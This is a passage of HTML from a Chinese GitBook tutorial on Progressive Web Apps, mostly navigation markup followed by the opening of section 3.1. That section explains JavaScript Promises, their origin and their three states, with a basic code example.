src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.4.1\" data-path=\"1-promise.html\">\n            \n                <a href=\"1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"2-async-function.html\">\n            \n                <a href=\"2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"3-fetch-api.html\">\n            \n                <a href=\"3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"4-cache-api.html\">\n            \n                <a href=\"4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"5-indexeddb.html\">\n            \n                <a href=\"5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3.1 Promise</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#promise\"><b></b>Promise</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;-promise\"><b></b>&#x4EC0;&#x4E48;&#x662F; Promise</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\"><b></b>Promise &#x57FA;&#x672C;&#x7528;&#x6CD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x7684;&#x53EF;&#x9760;&#x6027;\"><b></b>Promise &#x7684;&#x53EF;&#x9760;&#x6027;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\"><b></b>&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\"><b></b>Promise &#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\"><b></b>Promise &#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\"><b></b>Promise &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\"><b></b>Promise &#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\"><b></b>Promise &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\"><b></b>Promise &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x8282;\"><b></b>&#x5C0F;&#x8282;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><b></b>Promise &#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#promiseprototypethen\"><b></b>Promise.prototype.then</a></li><li><span class=\"title-icon \"></span><a href=\"#promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><b></b>Promise &#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\"><b></b>Promise &#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x603B;&#x7ED3;\"><b></b>&#x603B;&#x7ED3;</a></li></ul></ul></div><a href=\"#promise\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"promise\"><a name=\"promise\" class=\"anchor-navigation-ex-anchor\" href=\"#promise\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise\" class=\"plugin-anchor\" href=\"#promise\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise</h1>\n<p>&#x5728;&#x6DF1;&#x5165;&#x4ECB;&#x7ECD; Service Worker &#x4E4B;&#x524D;&#xFF0C;&#x5148;&#x6765;&#x4E86;&#x89E3;&#x4E00;&#x4E0B; Promise API&#x3002;&#x56E0;&#x4E3A; Service Worker &#x7684;&#x6240;&#x6709;&#x7684;&#x5F02;&#x6B65;&#x63A5;&#x53E3;&#x5185;&#x90E8;&#x90FD;&#x91C7;&#x7528; Promise &#x6765;&#x5B9E;&#x73B0;&#xFF0C;&#x56E0;&#x6B64;&#x5B66;&#x4E60;&#x4E86; Promise &#x8BB2;&#x80FD;&#x591F;&#x6709;&#x52A9;&#x4E8E;&#x5BF9; Service Worker &#x7684;&#x7406;&#x89E3;&#x3002;&#x6B64;&#x5916;&#xFF0C;&#x672C;&#x6587;&#x8FD8;&#x4ECB;&#x7ECD;&#x4E86; Promise\n&#x7684;&#x53EF;&#x9760;&#x6027;&#xFF0C;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x7684;&#x539F;&#x7406;&#xFF0C;&#x5E76;&#x884C;&#x6267;&#x884C;&#x7684;&#x539F;&#x7406;&#x7B49;&#x8F83;&#x4E3A;&#x6DF1;&#x5165;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x611F;&#x5174;&#x8DA3;&#x7684;&#x8BFB;&#x8005;&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x672C;&#x6587;&#x52A0;&#x6DF1;&#x5BF9; Promise &#x7684;&#x7406;&#x89E3;&#x3002;</p>\n<h2 id=\"&#x4EC0;&#x4E48;&#x662F;-promise\"><a name=\"&#x4EC0;&#x4E48;&#x662F;-promise\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-promise\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;-promise\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-promise\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F; Promise</h2>\n<p>Promise &#x662F; ES6 &#x5F15;&#x5165;&#x7684;&#x4E00;&#x79CD;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x901A;&#x8FC7; Promise &#x5BF9;&#x8C61;&#x6765;&#x63D0;&#x4F9B;&#x7EDF;&#x4E00;&#x7684;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x65B9;&#x6CD5;&#x3002;</p>\n<p>&#x8FC7;&#x53BB;&#x6211;&#x4EEC;&#x901A;&#x5E38;&#x4F7F;&#x7528;&#x6CE8;&#x518C;&#x5F02;&#x6B65;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5F62;&#x5F0F;&#x6765;&#x8FDB;&#x884C;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#xFF0C;&#x8FD9;&#x91CC;&#x7684;&#x5F02;&#x6B65;&#x56DE;&#x8C03;&#x5B9E;&#x9645;&#x4E0A;&#x662F;&#x5177;&#x4F53;&#x7684;&#x5F02;&#x6B65;&#x51FD;&#x6570;&#x4E0E;&#x5F00;&#x53D1;&#x8005;&#x7684;&#x63A5;&#x53E3;&#x7EA6;&#x5B9A;&#xFF0C;&#x5E76;&#x4E0D;&#x5B58;&#x5728;&#x4EFB;&#x4F55;&#x7684;&#x6807;&#x51C6;&#xFF0C;&#x56E0;&#x6B64;&#x56DE;&#x8C03;&#x7684;&#x6CE8;&#x518C;&#x5F62;&#x5F0F;&#x3001;&#x89E6;&#x53D1;&#x65B9;&#x5F0F;&#x3001;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x7B49;&#x7B49;&#x90FD;&#x5F97;&#x4E0D;&#x5230;&#x7EDF;&#x4E00;&#x4E14;&#x7A33;&#x5B9A;&#x7684;&#x4FDD;&#x8BC1;&#x3002;&#x540C;&#x65F6;&#x8FD9;&#x79CD;&#x5F02;&#x6B65;&#x56DE;&#x8C03;&#x7684;&#x5199;&#x6CD5;&#x4E0D;&#x5229;&#x4E8E;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#xFF0C;&#x5728;&#x5904;&#x7406;&#x591A;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x7684;&#x65F6;&#x5019;&#x5BB9;&#x6613;&#x8D70;&#x8FDB;&#x56DE;&#x8C03;&#x5730;&#x72F1;&#xFF0C;&#x56E0;&#x6B64; JavaScript &#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x9700;&#x8981;&#x4E00;&#x4E2A;&#x7EDF;&#x4E00;&#x4E14;&#x53EF;&#x9760;&#x7684;&#x65B9;&#x6848;&#x6765;&#x8FDB;&#x884C;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#xFF0C;&#x56E0;&#x6B64; Promise &#x5E94;&#x8FD0;&#x800C;&#x751F;&#x3002;&#x4E8B;&#x5B9E;&#x4E0A; Promise &#x662F;&#x793E;&#x533A;&#x63A8;&#x52A8;&#x7684;&#x4EA7;&#x7269;&#xFF0C;&#x5728;&#x65E9;&#x671F;&#x5C31;&#x51FA;&#x73B0;&#x4E86;&#x6BD4;&#x5982; $.Deferred&#x3001;Bluebird &#x7B49;&#x5E93;&#x7528;&#x4E8E;&#x89E3;&#x51B3;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x548C;&#x56DE;&#x8C03;&#x5730;&#x72F1;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x5E76;&#x6700;&#x7EC8;&#x4FC3;&#x8FDB;&#x5E76;&#x63A8;&#x52A8;&#x4E86; Promise &#x5199;&#x8FDB;&#x4E86; ES6 &#x89C4;&#x8303;&#x5F53;&#x4E2D;&#x3002;</p>\n<h2 id=\"promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\"><a name=\"promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\" class=\"plugin-anchor\" href=\"#promise-&#x57FA;&#x672C;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x57FA;&#x672C;&#x7528;&#x6CD5;</h2>\n<p>&#x4E00;&#x822C;&#x5728;&#x4F7F;&#x7528; Promise &#x5BF9;&#x8C61;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9996;&#x5148;&#x9700;&#x8981;&#x5BF9;&#x5176;&#x8FDB;&#x884C;&#x5B9E;&#x4F8B;&#x5316;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token comment\">/* &#x64CD;&#x4F5C;&#x6210;&#x529F; */</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#x5B9E;&#x4F8B;&#x5316;&#x7684; promise &#x5BF9;&#x8C61;&#x4E3A;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7684;&#x7BA1;&#x7406;&#x5BB9;&#x5668;&#xFF0C;<code>resolve()</code> &#x548C; <code>reject()</code> &#x5219;&#x662F;&#x7528;&#x4E8E;&#x63A7;&#x5236; promise &#x72B6;&#x6001;&#x7684;&#x65B9;&#x6CD5;&#x3002;</p>\n<p>Promise &#x5177;&#x6709;&#x4E09;&#x79CD;&#x72B6;&#x6001;&#xFF1A;</p>\n<ul>\n<li>&apos;pending&apos;&#xFF1A;&#x521D;&#x59CB;&#x72B6;&#x6001;&#xFF0C;&#x4EE3;&#x8868;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x4ECD;&#x5728;&#x8FDB;&#x884C;&#x4E2D;&#xFF0C;&#x5C1A;&#x672A;&#x5224;&#x5B9A;&#x6210;&#x529F;&#x6216;&#x8005;&#x5931;&#x8D25;&#xFF1B;</li>\n<li>&apos;fulfilled&apos;&#xFF1A;&#x64CD;&#x4F5C;&#x6210;&#x529F;&#x3002;&#x901A;&#x8FC7;&#x8C03;&#x7528; <code>resolve()</code> &#x65B9;&#x6CD5;&#xFF0C;promise &#x72B6;&#x6001;&#x5C06;&#x7531; &apos;pending&apos; &#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;&#xFF1B;</li>\n<li>&apos;rejected&apos;&#xFF1A;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#x3002;&#x901A;&#x8FC7;&#x8C03;&#x7528; <code>reject()</code> 